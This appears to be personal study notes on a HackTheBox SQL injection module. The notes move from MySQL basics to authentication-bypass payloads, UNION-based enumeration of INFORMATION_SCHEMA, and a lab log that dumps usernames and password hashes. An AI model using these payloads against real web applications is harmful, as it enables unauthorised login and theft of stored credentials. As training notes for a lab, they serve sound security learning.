SQL

HACKTHEBOX:

SQL INJECTION FUNDAMENTAL

Modern web applications use databases to store and retrieve data. When users interact with the web app, their requests trigger database queries to build dynamic responses. If user input is improperly used to construct these queries, malicious users can manipulate the query to execute unintended actions. This attack is called SQL injection (SQLi), where harmful SQL code is injected into the query. SQLi targets relational databases like MySQL, allowing attackers to access, modify, or delete data. This module focuses on SQL injection in MySQL.

The relationship between tables within a database is called a Schema

- **Relational Databases**: These store data in tables with rows and columns, using structured query language (SQL) for querying and managing data. Data is organized in a predefined schema with relationships between tables. Example: **MySQL**, **PostgreSQL**.

- **Non-Relational Databases**: These store data in various formats like documents, key-value pairs, graphs, or wide-column stores, and don't require a fixed schema. They are more flexible for handling unstructured data. Example: **MongoDB**, **Cassandra**.

Intro to MySQL

SQL can be used to perform the following actions:

Retrieve data
Update data
Delete data
Create new tables and databases
Add / remove users
Assign permissions to these users

ways to login in Command line:
1) mysql -u root -p
2) mysql -u root -h 83.136.250.212 -P 32324 -p

To show Databases: show databases;
To Create a database: create database anii_coffee;
To use database: use anii_coffee;
To show tables: show tables;
To create table: create table coffee_table(
-> id int,
-> name varchar(255),
-> region varchar(255)
->);
To describe Table: describe coffee_table;
To insert in Table: insert into coffee_table values (1,”Default route”, “euthopia”);

Note: Show tables; Describe coffee_table; is use to just look Outertable

To Look inside the table we have created use:
select * from coffee_table;

DROP statement: We use DROP to remove tables and databases from the server.
eg: DROP TABLE coffee_table;

ALTER Statement: We can use ALTER to change the name of any table and any of its fields or to delete add a new column to an existing table.
eg: ALTER TABLE logins ADD newColumn INT;
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;
ALTER TABLE logins MODIFY oldColumn DATE;

ALTER TABLE logins DROP oldColumn;

UPDATE Statement: While ALTER is used to change a table's properties, the UPDATE statement can be used
to update specific records within a table, based on certain conditions
eg: UPDATE table_name SET column1=newvalue1, column2=newvalue2, ... WHERE <condition>;
UPDATE logins SET password = 'change_password' WHERE id > 1;

Query Statements:

Sorting Results

We can sort the results of any query using ORDER BY and specifying the column to sort

To arrange in ascending : select * from avn_table order by age asc;
To arrange in descending : select * from avn_table order by age desc;

By default, the sort is done in ascending order.
eg: SELECT * FROM logins ORDER BY password DESC, id ASC;

LIMIT Results

In case our query returns a large number of records, we can LIMIT the results to what we want only, using LIMIT and the number of records we want
eg1: SELECT column1, column2, ...
FROM table_name
LIMIT number_of_rows;

eg2: If we wanted to LIMIT results with an offset(No of rows to skip), we could specify the offset before the LIMIT
SELECT * FROM logins LIMIT 1, 2;

WHERE Clause

To filter or search for specific data, we can use conditions with the SELECT statement using the WHERE clause
eg: SELECT * FROM table_name WHERE <condition>;
SELECT * FROM logins WHERE id > 1;

LIKE Clause

The LIKE clause in SQL is used to search for a specified pattern in a column. It allows you to match strings using wildcard characters
eg: SELECT * FROM logins WHERE username LIKE “admin%”
SELECT * FROM logins WHERE username LIKE “_ _ _”;

Q) What is the last name of the employee whose first name starts with "Bar" AND who was hired on 1990-01-01?

mysql> SELECT last_name FROM employees WHERE first_name LIKE "Bar%" AND hire_date = '1990-01-01';

```
+-----------+
| last_name |
+-----------+
| Mitchem   |
+-----------+
```

SQL Operators

SQL supports Logical Operators to use multiple conditions at once. The most common logical operators are AND, OR, and NOT.

AND Operators(&&)

Returns **true** if both conditions are true.
eg: SELECT * FROM employees
WHERE hire_date = '1990-01-01' AND department = 'HR';

OR Operators(||)

Returns **true** if at least one condition is true.
eg: SELECT * FROM employees
WHERE department = 'HR' OR department = 'IT';

NOT Operators(!=)
Negates a condition. It returns **true** if the condition is **false**.
eg: SELECT * FROM employees
WHERE NOT department = 'HR';

Intro to SQL Injection

Web applications use databases like MySQL to store and retrieve data. For example, in a PHP app, a connection to a database
When user input is used in a query (e.g., for a search), it can create SQL Injection vulnerabilities if not properly sanitized
Note: If user input isn't securely handled, it can allow attackers to manipulate SQL queries (SQL Injection).

What is an Injection?

An injection occurs when user input is incorrectly treated as code, altering the program's behavior. This happens when special characters (like ') allow users to inject malicious code
Without input sanitization, the injected code can execute, leading to security vulnerabilities.
How Injection Works:

Malicious code can be injected when user input includes special characters (e.g., ').
The code executes when user input is misinterpreted as part of the application code.

Subverting Query Logic

Authentication Bypass
SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';
The page checks credentials by using the AND operator to match the username and password in the database. If records match, the login is valid, and the admin record is returned.

SQLi Discovery
SQLi (SQL Injection) discovery refers to the process of identifying vulnerabilities in web applications that allow attackers to manipulate SQL queries through user inputs. The goal is to detect whether an application
improperly handles user input, leading to potential SQL injection attacks

Steps to Discover SQL Injection Vulnerabilities:
1.Identify User Input Points:
Look for places where user input is accepted, such as:
Forms (login, search, registration, etc.)
URL parameters (e.g., example.com?id=1)
HTTP headers (e.g., User-Agent, Referer)

2. Test Input Fields:
Manually test inputs by adding SQL-specific characters to see if they cause errors or unexpected behavior.
Common test inputs:
Single quote (')
Double quote (")
Semicolon (;)
Comment (-- or /* */)
OR operator (OR 1=1)
Example:
If a login form allows admin' --, this could bypass authentication if not properly sanitized.

3. Look for Error Messages:
SQL errors such as syntax error, unknown column, or unclosed quotation mark often indicate a SQL injection vulnerability.
Error messages may give insights into the database structure (e.g., table names, column names).

OR Injection
OR Injection (Simplified)

Goal: Make the SQL query always return true, bypassing authentication regardless of the entered username or password.
How It Works:
SQL has operator precedence, where AND is evaluated before OR. If one condition in the query is true, the whole query

can evaluate as true due to the OR operator.
A simple condition like '1'='1' is always true and can be injected into the query to bypass checks.

Example Injection:
Original query:
SELECT * FROM logins WHERE username='admin' AND password='password';
Injecting ' OR '1'='1 into the username:
SELECT * FROM logins WHERE username='admin' OR '1'='1' AND password='something';
What happens:
OR '1'='1' will always return true.
The password condition (AND password='something') becomes irrelevant because of the OR condition, allowing unauthorized access.

Result: The query is always true, so the authentication check is bypassed.

NOTE: Injecting ' OR '1'='1 into the username
The first single quote (') is necessary to close the original string value for the username='admin'.
After it closes the original string, the OR '1'='1' part of the injection ensures that the query will always return true, bypassing the login check.

Auth Bypass with OR operator

Login with Valid Username: By injecting ' OR '1'='1' in the username field, the query becomes true and allows us to log in as admin. The condition '1'='1' is always true, so the login succeeds.

Login with Invalid Username: When trying notadmin, the login fails because the username doesn’t exist in the database. This results in a false query, so authentication fails.

Bypassing Authentication: To bypass the login without a valid username, we inject ' OR '1'='1' into the password field. This causes the query to always return true, since '1'='1' is always true, and the authentication will
pass, logging us in as the first user in the database (e.g., admin).

Outcome: By forcing the query to evaluate as true with the OR condition, the system bypasses authentication entirely, allowing access regardless of the actual username or password.

This approach leverages SQL injection to manipulate the logic of the query and bypass security checks.
Implemented Query:

Executing query: SELECT * FROM logins WHERE username='notAdmin' or '1'='1' AND password = 'something' or '1'='1';
Same above query: SELECT * FROM logins WHERE username='' or '1'='1' AND password = '' or '1'='1';

Using Comments

Comments are used to document queries or ignore a certain part of the query. We can use two types of line comments with MySQL -- and #
ex1: SELECT username FROM logins; -- Selects usernames from the logins table
ex2: SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'

The server will ignore the part of the query with AND password = 'something' during evaluation.

Auth Bypass with comments

Concept:
-- (double dash) is used in SQL to indicate comments. Everything after -- is ignored by the database.
This can be exploited to bypass authentication by commenting out parts of the SQL query (e.g., password check).

How It Works:

Original Query (without injection):
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
Checks both username and password for authentication.

Injected Query with Comment:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';
-- comments out the rest of the query (password check), making it:

SELECT * FROM users WHERE username = 'admin';
No password check is done. If admin exists, the query returns the admin record and bypasses authentication.

Behavior:
The password condition is ignored because everything after -- is treated as a comment.
As long as the username exists, the attacker can log in without knowing the password.

Task: Login as the user with the id 5 to get the flag.
Check the logic in Backend
Solution: ' OR id=5) --

NOTE: 1. IN backend if given field are validating inside the Parenthesis, then they will execute first and then the rest of the query.
2. Make sure to close the brackets/parenthesis properly
3. Make sure the space is there after the comment otherwise there will be error in our payload

UNION Clause

This section will demonstrate this by using the MySQL Union clause to do SQL Union Injection.

The UNION operator is used to combine the results of multiple SELECT statements into a single result set. In SQL injection, we use UNION to extract data from different tables or databases in a vulnerable application.

Basic Example:

Ports Table:
SELECT * FROM ports;

code	city
CN SHA	Shanghai
SG SIN	Singapore
ZZ-21	Shenzhen

Ships Table:
SELECT * FROM ships;

Ship	city
Morrison	New York

Using UNION to Combine Results:
SELECT * FROM ports UNION SELECT * FROM ships;

Output:

code	city
CN SHA	Shanghai
SG SIN	Singapore
Morrison	New York
ZZ-21	Shenzhen

NOTE:
Same Number of Columns: All SELECT queries in a UNION must return the same number of columns.
Data Type Compatibility: The columns must have compatible data types.
Purpose in Injection: Allows attackers to retrieve data from other tables by injecting UNION queries with the correct column structure.

EVEN

Rule: UNION requires both SELECT queries to return the same number of columns.
Error: If the column counts differ, you get:

ERROR 1222: The used SELECT statements have a different number of columns

Example of Uneven Columns:
SELECT city FROM ports UNION SELECT * FROM ships;

First query: 1 column (city)
Second query: 2 columns (Ship, city)
Result: Error due to different column counts.

UNEVEN

Ensure the queries have the same number of columns by adding NULL values in the shorter query:

```
SELECT * FROM employees
UNION
SELECT id, name, NULL, NULL, NULL, NULL FROM departments;
```

Key Points:
- Both queries must return the same number of columns.
- Use NULL to pad the query with fewer columns.
- Helps in extracting data from multiple tables during SQL injection.

UNION Injection

Rules:
1. Number of columns should be same as in previous tables Before putting UNION
2. We should know how much columns are there in background
3. Look for syntax error(spaces, comments,..)

Steps:
To know total number of columns
1' ORDER BY 1-- - ---→ NO Error
1' ORDER BY 2-- - ---→ NO Error
1' ORDER BY 3-- - ---→ Error

So there are 2 Columns
' UNION select 1,2 -- -

NOTE: You're checking how many columns are expected in the output of the original query, not the schema of the database.

Summary:
UNION in SQL: Combines results from multiple SELECT queries. The number of columns and data types must match between the queries.
UNION SQL Injection: Used by attackers to retrieve data from other tables by injecting a query that uses the UNION operator to combine results from multiple SELECT queries.
Steps:
- Find the number of columns in the original query (e.g., using ORDER BY).
- Match the column count in the injected query by using NULL or relevant data.
- Extract data from other tables by injecting UNION SELECT queries.

EXPLOITATION

DATABASE ENUMERATION

This section will put all of that to use and gather data from the database using SQL queries within SQL injections.

MySQL Fingerprinting

initial Webserver & DBMS Guess:

Apache/Nginx → Likely Linux → MySQL
IIS → Likely Windows → MSSQL
This is a rough guess, as other DBMS can be used on different servers.

INFORMATION_SCHEMA Database:

Purpose: Holds metadata about databases, tables, and columns on a MySQL server, useful for SQL injection attacks.
Key Info:
- Databases: List of databases on the server.
- Tables: Tables within each database.
- Columns: Columns in each table.

Accessing Other Databases: Use the dot (.) operator to query tables in different databases:
SELECT * FROM my_database.users;

Using INFORMATION_SCHEMA: Query it to get database structure details:
SELECT * FROM INFORMATION_SCHEMA.tables;
It helps form valid UNION SELECT queries during SQL injection.

SCHEMATA

Query to list databases:
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

SQL Injection to list databases:
cn' UNION SELECT 1, schema_name, 3, 4 FROM INFORMATION_SCHEMA.SCHEMATA-- -

Find current database:
cn' UNION SELECT 1, database(), 2, 3-- -

SUMMARY:
SCHEMATA: a table 'INFORMATION_SCHEMA' that lists all the databases
ENUMERATION: Use 'SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;' to list the databases
SQL INJECTION: Use ' cn' UNION SELECT 1, database(), 2, 3-- - ' to list the current working database

TABLES(Enumerating tables):
To list tables within a specific database, query the TABLES table in the INFORMATION_SCHEMA database. The key columns are:
TABLE_NAME: Stores the table names.
TABLE_SCHEMA: Points to the database each table belongs to.

Example Query (SQL Injection to list tables in dev database):
cn' UNION SELECT 1, TABLE_NAME, TABLE_SCHEMA, 4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dev'-- -
This query will return the table names from the dev database. Without the WHERE table_schema='dev' condition, it would list tables from all databases.

Result:
You might see tables like credentials, framework, pages, and posts. For example, the credentials table might contain sensitive data worth investigating.

NOTE:
Column 1: Fixed value 1.
Column 2: Table names from the dev database (TABLE_NAME).
Column 3: Database name (TABLE_SCHEMA), always dev.
Column 4: Fixed value 4.

NOTE:
INFORMATION_SCHEMA is the database that holds metadata about the system.
INFORMATION_SCHEMA.TABLES specifically lists all tables in all databases, which is exactly what you need when enumerating tables.

COLUMNS (Enumerating Columns)
Purpose: To find the column names in a specific table (e.g., credentials).
Query:
cn' UNION select 1, COLUMN_NAME, TABLE_NAME, TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
Columns:
Column 1: Fixed value 1.
Column 2: Column names from the credentials table (COLUMN_NAME).
Column 3: Table name (TABLE_NAME), which will be credentials.
Column 4: Database name (TABLE_SCHEMA), showing the database containing the table.
Output:
Lists column names of the credentials table, such as username and password, with the table and database name.

DATA:
Dumping Data from a Table

Purpose: To dump data (e.g., username and password) from the credentials table in the dev database.
Query:
cn' UNION select 1, username, password, 4 from dev.credentials-- -

Column 1: Fixed value 1.
Column 2: Username (from credentials table).
Column 3: Password (from credentials table).
Column 4: Fixed value 4.

Note: Use the dot operator (dev.credentials) to specify the credentials table in the dev database since the query runs in the ilfreight database.

Output:
Dumps all entries (usernames and passwords) from the credentials table, which may include sensitive data like password hashes or API keys.

--#TASK#--

Determine no of columns using; ' ORDER BY 4-- -
OUTPUT: ERROR at order by 5-- -(So no of columns expected in the output of the original query)
List the databases available: ' UNION SELECT 1,schema.name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
OUTPUT: dev, ilfreight
Determine the current working database: ' UNION SELECT 1, DATABASE(),3,4 -- -
OUTPUT: ilfreight
Determine the table in working database: cn' UNION SELECT 1, TABLE_NAME, TABLE_SCHEMA, 4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='ilfreight'-- -
OUTPUT: products, users, ports
Determine columns in the table of working database: ‘ UNION SELECT 1,COLUMN_NAME, TABLE_NAME, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users'-- -
OUTPUT: id, username, password

DUMP all the data: ' UNION SELECT 1, username, password, NULL from ilfreight.users--
OUTPUT:
admin 392037dbba51f692776d6cefb6dd546d
newuser 9da2c9bcdf39d8610954e0e11ea8f45f

READING FILES
This is a more advanced exploitation technique and typically comes into play once an attacker has gained some level of access to the database and is looking to escalate their privileges, persist on the system, or cause damage. This involves interacting with the server’s filesystem using SQL injection.